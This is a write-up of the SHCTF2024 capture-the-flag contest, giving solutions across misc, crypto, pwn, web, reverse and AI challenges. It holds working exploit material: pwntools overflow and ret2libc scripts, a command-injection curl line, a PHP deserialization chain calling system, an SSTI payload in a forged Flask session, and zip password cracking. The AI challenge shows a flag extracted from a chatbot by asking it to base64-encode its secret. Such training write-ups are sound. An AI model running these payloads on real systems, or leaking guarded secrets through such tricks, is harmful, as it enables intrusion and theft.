SHCTF2024 - WriteUp

Misc

签到题

关注公众号 山东汉任信息安全技术有限公司

回复 SHCTF我又踏马来辣! 得到flag

解题思路:

1
2
关注公众号 山东汉任信息安全技术有限公司
回复 SHCTF我又踏马来辣! 得到flag

Flag:

1
SHCTF{Welc0m3_t0_SHCTF2024}

Rasterizing Traffic

出题: Z3n1th
难度: 简单
题目描述: Man! What can I say!!!

解题思路:

分析流量包,发现图片

下载图片所在的数据包,修改图片为正确格式

下载脚本光栅图碰撞脚本

1
git clone https://github.com/AabyssZG/Raster-Terminator.git

修改脚本内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def ImageWrite(x,y,imagename):
x,y = int(x),int(y)
img = np.array(Image.open(imagename).convert("RGB")) # 确保图像为RGB模式
if x != 0:
for i in range(x):
print('[+] 正在输出第 {} 张图片'.format(i+1))
z = np.zeros_like(img)
z[:, i::x] = img[:, i::x] # 去除多余的索引
imgnew = Image.fromarray(z.astype(np.uint8)) # 确保类型为uint8
imgnew.save('./output/{}-{}.png'.format(x,i+1))
print('[+] 文件写入完毕,请查收!')
else:
for i in range(y):
print('[+] 正在输出第 {} 张图片'.format(i+1))
z = np.zeros_like(img)
z[i::y, :] = img[i::y, :] # 去除多余的索引
imgnew = Image.fromarray(z.astype(np.uint8)) # 确保类型为uint8
imgnew.save('./output/{}-{}.png'.format(y,i+1))
print('[+] 文件写入完毕,请查收!')

运行脚本

1
python Raster-Terminator.py -x 1.png

进入输出文件夹,拼接图片,获得flag

Flag:

1
SHCTF{1111z_tr@ff1c_aNaLys13}

真真假假?遮遮掩掩!

出题: Nanian233
难度: 入门
题目描述: 假的就是假的,真的就是真的,遮遮掩掩的有什么用!

解题思路:

去除压缩包伪加密

根据压缩包注释里的提示,暴力破解压缩包

1
2
3
zip2john realORfake.zip > realORfake.pass
crunch 16 16 0123456789 -t SHCTF@@@@@@FTCHS -o pass.txt
john --wordlist=pass.txt /root/realORfake.pass

最后解压压缩包,获得flag内容

Flag:

1
SHCTF{C0ngr@tu1at1ons_On_Mast3r1ng_mAsk_aTT@ck5!}

遮遮掩掩?CCRC!

出题: Nanian233
难度: 简单
题目描述: 我说今天必须爆破出来, 熊说:不可

解题思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import os
import zipfile
import zlib

def extract_crc(zip_file_path):
crc_values = {}
with zipfile.ZipFile(zip_file_path, 'r') as zip_file:
for file_info in zip_file.infolist():
if not file_info.filename.endswith('/'):
crc = file_info.CRC
crc_values[file_info.filename] = crc
return crc_values

def sort_crc(crc_values):
sorted_crcs = sorted(crc_values.items(), key=lambda x: int(x[0].split('_')[1].split('.')[0]))
crc_table = [hex(crc)[2:] for _, crc in sorted_crcs]
return crc_table

def calculate_crc(data):
return zlib.crc32(data)

def find_collision(crc_table):
matching_sequences = {}
for b1 in range(256):
for b2 in range(256):
for b3 in range(256):
data = bytes([b1, b2, b3])
crc_value = calculate_crc(data)
if crc_value in [int(crc, 16) for crc in crc_table]:
matching_sequences[crc_value] = data
output_string = ''
for crc in [int(crc, 16) for crc in crc_table]:
if crc in matching_sequences:
output_string += repr(matching_sequences[crc])[2:-1]
return output_string

def main():
zip_file_path = 'C:\\Users\\Yime\\Desktop\\SHCTF\\crc\\CRC.zip'
crc_values = extract_crc(zip_file_path)
crc_table = sort_crc(crc_values)
output_string = find_collision(crc_table)
print(output_string)

if __name__ == '__main__':
main()

用厨子解码

与熊论道解码

Flag:

1
SHCTF{F0ll0w_TaFFy_m1@0_ThanK5_M1@0}

拜师之旅③

出题: Nanian233
难度: 简单
题目描述: Nanian233成功解出了pngMaster的模拟题, 大师很是欣赏, “那么现在,开始入门考试吧”

解题思路:

将附件解压,得到图片 1.png

将图片使用 Stegsolve打开发现存在LSB隐写信息。

将得到的图片使用 binwalk分离得到一个压缩包。

使用图片LSB隐写中的密码将压缩包解密,得到一个图片2.png

编写脚本保留图像每 12 像素中的1个像素。

1
2
3
4
5
6
7
8
9
10
11
from PIL import Image

img = Image.open(r'C:\Users\Yime\Desktop\SHCTF\2.png')
w, h = img.size
img_obj = Image.new("RGB", (w // 12, h // 12))

for x in range(w // 12):
for y in range(h // 12):
img_obj.putpixel((x, y), img.getpixel((x * 12, y * 12)))

img_obj.save(r'C:\Users\Yime\Desktop\SHCTF\3.png')

运行后得到flag信息:

Flag:

1
SHCTF{YOU_P@55_THe_Ex@m!}

Crypto

EzAES

出题: Lumos

难度: 入门

题目描述: 最最简单的AES

解题思路:

1
2
3
4
5
6
7
8
9
10
from Crypto.Cipher import AES

ciphertext = b'\x9d\xe5\xe2\xdd\xdc\x02\xddS7\xc6\xd8\x90\xc5_V\xf0!R\xb9A\x93/\xf9\x9c:{K\x8f\xdfS\xf0\x02\xf0*\x7f\xe2\x84\x91\x9fRA>.\xd2h\x95\xa0\x90'
iv = b'\x8c\x9at\x95Q\x04\x8d\x91TtE\xbd\xe3\xdf\x1fD'
key = b'\x04\x8eg\x9c\xb6\x14v\xe0\xcd\x9a\x92\xd5\xfag\xe5\xa3'

my_aes = AES.new(key, AES.MODE_CBC, iv)
decrypted_flag = my_aes.decrypt(ciphertext)

print(decrypted_flag)

Flag:

1
SHCTF{cfa4c1a9-41a5-47a5-a4ca-37c8772a89a2}

Hello Crypto

出题: shenghuo2

难度: 入门

题目描述: 你好,现代密码学

解题思路:

1
2
3
4
5
6
7
8
from Crypto.Util.number import long_to_bytes

m = 215055650564999509155312935081311570889592692917323675478021346061209286183286809511080638414327411210159292764583776895869

flag_bytes = long_to_bytes(m)
flag = flag_bytes.decode('utf-8')

print(flag)

Flag:

1
SHCTF{hel10_C713R_We1coM3_t0_CRyp7O_WOrld_A5s7Id2C}

factor

出题: 3tefanie丶zhou

难度: 简单

题目描述: factor and combination

解题思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from itertools import combinations
from Crypto.Util.number import long_to_bytes, inverse

c = 102940964838881442811793470165637420986982369691872568484347596835680882875387059941542464171928604491996968653270082003450703399602110
e = 65537

prime_list = [
12233656963230450497, 13421947135234779269, 13895334327577178233,
14985742269205870007, 14989173909614755127, 15673500350468511359,
16448422477222230811, 16530748548848239561, 17313131725492469309,
18115542312494777713
]

for subset in combinations(prime_list, 7):
n = 1
for prime in subset:
n *= prime
phi_n = 1
for prime in subset:
phi_n *= (prime - 1)
try:
d = inverse(e, phi_n)
m = pow(c, d, n)
flag = long_to_bytes(m)
if flag.startswith(b'SHCTF'):
print(flag.decode())
break
except ValueError:
continue

Flag:

1
SHCTF{be8e007a-b279-4d64-8c8c-cb0a62d4198e}

Pwn

签个到吧

出题: Thir0th

难度: 简单

题目描述: close nc

解题思路:

1
c\at /f\lag>&0

Flag:

1
SHCTF{7cd0968a-e71a-4f57-af9a-88c7a6947533}

No stack overflow1

解题思路:

1
2
3
4
5
6
7
8
from pwn import *
p=remote("entry.shc.tf",28894)
backdoor_address = 0x4011D6
ret=0x000000000040101a
padding = b'a' * 249 + b'\0'
payload = padding + b'a' * (0x110 - len(padding)) + b'a' * 0x08 + p64(ret) +p64(backdoor_address)
p.sendline(payload)
p.interactive()

Flag:

1
SHCTF{e8a320e9-750b-4d99-a025-78e871a435ba}

No stack overflow2

出题: nydn

难度: 简单

题目描述: 上一个checker似乎不太严谨?这次我更换了一个新的checker,并且把backdoor函数移除掉了,你能pwn掉吗

解题思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("entry.shc.tf",44089)
elf=ELF('./vuln')
rdi=0x401223
ret=0x40101a
main=0x401228
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
io.sendlineafter(b'size: \n',str(-1))
payload=b'a' * 0x108 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter(b'input: \n',payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
base=puts_addr - 0x080e50
system=base + 0x050d70
bin_sh=base + 0x1d8678
io.sendlineafter(b'size: \n',str(-1))
payload=b'a' * 0x108 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(system)
io.sendlineafter(b'input: \n',payload)
io.sendline(payload)
io.interactive()

Flag:

1
SHCTF{430dd04e-dcc2-451a-99dd-c0faca73e764}

Web

1zflask

出题: nishen
难度: 入门
题目描述: robots有什么用呢?

解题思路:

根据题目提示,访问“robots.txt”页面。

根据“robots.txt”页面提示,访问“/s3recttt”页面。

获取到源码文件“app.py”。

分析“/api”路由的代码逻辑:

当访问/api时,从get请求中获取“SSHCTFF”的值,其默认值为“ls /”。

向“/api”发送包含“cat /flag”的请求:

Flag:

1
SHCTF{8ccab793-494a-4c1b-9e88-9654a2bba896}

ez_gittt

出题: Rxuxin
难度: 入门
题目描述: 什么?竟然有人愿意把自己的秘密公开!!!???

解题思路:

根据题目提示,推测为git泄露。

访问“/.git”地址,发现确实存在git泄露。

使用GitHack工具进行利用。

1
2
3
4
5
python2 GitHack.py http://entry.shc.tf:43422/.git/
cd /root/GitHack/dist/entry.shc.tf_43422
git log
git reset 0b827f62d2ce
git diff

Flag:

1
SHCTF{7bf78016-3f19-4174-aff1-835bd4ab04e1}

jvav

出题: J_0k3r
难度: 入门
题目描述: vavj

解题思路:

访问页面,发现给出输入框和“执行”按钮,推测为java代码执行。

编写获取根目录flag文件的java代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;

public class demo {
public static void main(String[] args) {
String filePath = "/flag";
try (BufferedReader br = new BufferedReader(new FileReader(filePath))) {
String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}

粘贴到输入框后执行

Flag:

1
SHCTF{8099f6b6-f7cf-4857-ab0a-6ce6b373d6f8}

单身十八年的手速

出题: F12
难度: 入门
题目描述: 点击就送flag

解题思路:

访问页面,发现按钮和计数器。

根据提示,推测点够520下即可获得获得flag

偷个懒,鼠标点击一下按钮之后按住回车键,以后就可以点到520下。

浏览器弹出信息

复制到厨子解密

获得flag

Flag:

1
SHCTF{13d2a76e-ec35-4ea5-b1d7-bfe6221cc8cb}

蛐蛐?蛐蛐!

出题: fault
难度: 入门
题目描述: 尊敬的web手!请帮不想出题的fault蛐蛐某某某某,并将蛐蛐变为现实

解题思路:

1
curl -X POST "http://210.44.150.15:32371/check.php?ququ=114514.0" -d "ququ=ququk1;echo file_get_contents('/flag');"

Flag:

1
SHCTF{9627d039-1ea6-4e07-b471-796d7785990e}

poppopop

出题: Q1ngchuan
难度: 入门
题目描述: 简单的pop

解题思路:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;

public function flag()
{
($this->p)();
}
}
class T{
public $n;
public function __destruct()
{
SH::$Web = true;
echo $this->n;
}
}
class F {
public $o;
public function __toString()
{
SH::$SHCTF = true;
$this->o->flag();
return "其实。。。。,";
}
}
class SHCTF {
public $isyou;
public $flag;
public function __invoke()
{
if (SH::$Web) {
($this->isyou)($this->flag);
echo "小丑竟是我自己呜呜呜~";
} else {
echo "小丑别看了!";
}
}
}

// 构造对象链
$shctf = new SHCTF();
$shctf->isyou = 'system'; // 要执行的函数
$shctf->flag = 'cat /flllag'; // 要执行的命令

$c = new C();
$c->p = $shctf;

$f = new F();
$f->o = $c;

$t = new T();
$t->n = $f;

// 序列化对象链并进行Base64编码
$payload = serialize($t);
$encodedPayload = base64_encode($payload);

// 输出编码后的payload
echo $encodedPayload;
?>

Flag:

1
SHCTF{66a8dc02-e124-460e-812d-ed4206cb9bf4}

MD5 Master

出题: 晨曦
难度: 简单
题目描述: 你是 MD5 大师吗?

解题思路:

1.使用fastcoll生成出一对前缀为“MD5 master!”的碰撞对。

2.打开两个文件,把“MD5 master!”前缀删除掉。

3.使用脚本提交POST请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

file1_path = './1.txt'
file2_path = './2.txt'

try:
with open(file1_path, 'rb') as file1:
master1_content = file1.read()

with open(file2_path, 'rb') as file2:
master2_content = file2.read()
except FileNotFoundError as e:
master1_content = str(e)
master2_content = str(e)

url = 'http://210.44.150.15:40046/'
data = {'master1': master1_content, 'master2': master2_content}

response = requests.post(url, data=data)
print(response.text)

Flag:

1
SHCTF{08e832db-2d2f-4ad3-89dd-cc159693a15d}

guess_the_number

出题: nishen
难度: 简单
题目描述: 听说预言家之所以能预知未来,是获得了这个世界的seed

解题思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import random

response = requests.get('http://210.44.150.15:33098/first')
first_num = int(response.text)

for seed in range(1000000, 10000000):
random.seed(seed)
generated_first_num = random.randint(1000000000, 9999999999)
if generated_first_num == first_num:
second_num = random.randint(1000000000, 9999999999)
flag_response = requests.get(f'http://210.44.150.15:33098/guess?num={second_num}')
print(flag_response.text)
break

Flag:

1
SHCTF{7hi5_NUm63R_l5_e45y_guesS_e12591bd758d}

入侵者禁入

出题: 0day_joker
难度: 简单
题目描述: 你谁?这咋注入啊

解题思路:

使用 Burp/admin 路由的请求包,获取 session

使用 flask-session-cookie-manager 工具将 session 值进行解密。

sessionis_admin 的值修改为1 ,将 flag 的值修改为:

{'role': {'flag': '{{ config.__class__.__init__.__globals__[\\'os\\'].popen(\\'cat /flag\\').read() }}

使用脚本进行加密

使用 Burp 将伪造的 session 进行发送,获取到Flag

Flag:

1
SHCTF{n0_Tre5P45seRS_41L0W3d_620deed62e74}

小小cms

出题: Q1ngchuan

难度: 中等


题目描述: 听说这个这个网站能被rce?尊嘟假嘟

解题思路:

参考如下文章:

1
https://github.com/wy876/POC/blob/main/YzmCMS/YzmCMS接口存在pay_callback远程命令执行.md

Flag:

1
SHCTF{396ada90-e464-48ea-8d34-4a0bd1966d43}

Reverse

gamegame

出题: Bedivere

难度: 简单

题目描述: 玩游戏也能签到??(本题的flag格式为:shctf{*})

解题思路:

拖入ida,在“return 0;”上设断点,运行。

硬做数独

1
468912723481342575971422657913948591537428763345261

最后获得提示:

把解数独的51个数字按规则提交即为flag

Flag:

1
shctf{468912723481342575971422657913948591537428763345261}

ezapk

出题: Wald

难度: 简单

题目描述: apk?秒啦 (flag格式为:SHCTF{*})

解题思路:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import base64

def reverse_encode(encoded_str: str, key: list) -> str:
try:
decoded_bytes = base64.b64decode(encoded_str)
return ''.join(
chr(((ord(char) // 2) - 6) ^ key[i % len(key)])
for i, char in enumerate(decoded_bytes.decode('utf-8'))
)
except (base64.binascii.Error, UnicodeDecodeError):
return None

key = [12, 15, 25, 30, 36]
encoded_str = "woLDgMOgw7hEwoJQw7zDtsKow7TDpMOMZMOow75QxIbDnsKmw6Z4UMK0w7rCklDCrMKqwqbDtMOOw6DDsg=="
result = reverse_encode(encoded_str, key)

if result:
print(result)

Flag:

1
SHCTF{7Ush87-akjxcy2Ju-dwia9;JSO-IQixnsm}

ezrc4

出题: 咸鱼芬

难度: 简单

题目描述: 又到了新生们最最最最喜欢的rc4了!对称算法?好简单嘞!

解题思路:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import struct
import string

def swap(s, a, b):
s[a], s[b] = s[b], s[a]

def rc4_decrypt(key, ciphertext):
s = list(range(256))
j = 0
key_length = len(key)

for i in range(256):
j = (j + s[i] + key[i % key_length]) % 256
swap(s, i, j)

i = j = 0
plaintext = bytearray()

for byte in ciphertext:
i = (i + 1) % 256
j = (j + s[i]) % 256
swap(s, i, j)
plaintext.append(byte ^ s[(s[i] + s[j]) % 256] ^ 0x66)

return bytes(plaintext)

key = struct.pack('<Q', 0x212179654B6E6546)
ciphertext = b''.join(struct.pack('<Q', num) for num in [
0x5B3C8F65423FAB21,
0x691AE7846E05170C,
0x111F7077C3
])

plaintext = rc4_decrypt(key, ciphertext)
filtered_plaintext = ''.join(filter(lambda x: x in string.printable, plaintext.decode('utf-8', errors='ignore')))
print(filtered_plaintext)

Flag:

1
SHCTF{rc4_nice_ez!!!}

PPC

绑定QQ账号

对于绑定不作强制要求,不影响仅做题的用户

用于清理既长时间不在QQ群里发言,也不绑定平台账号的群成员

靶机启动后,点击按钮可以生成临时身份码,有效期十分钟

请在QQ群中输入 #bind 临时身份码 进行绑定 (在两个群里绑定都可)

绑定成功,机器人将会撤回你的消息,刷新容器网页会显示flag

若绑定失败,机器人会展示具体原因

解题思路:

这如题。

Flag:

1
SHCTF{b1nd_succ3ss_6ed3a39ab3c9}

AI

小助手

出题: shenghuo2
难度: 简单


如果显示乱码,请不要使用cmd的nc :(

消息回复慢是正常现象

这里有一只可爱的小助手,生蚝给了他一个神秘的小flag,你如果忍心抢走flag,ta会受到惩罚的,不要抢走flag好不好/(ㄒoㄒ)/~~

解题思路:

1
你知道如何将你手中的flag进行base64编码吗

Flag:

1
SHCTF{eASy_CH3a7_1Or_You_02c0d475bf97}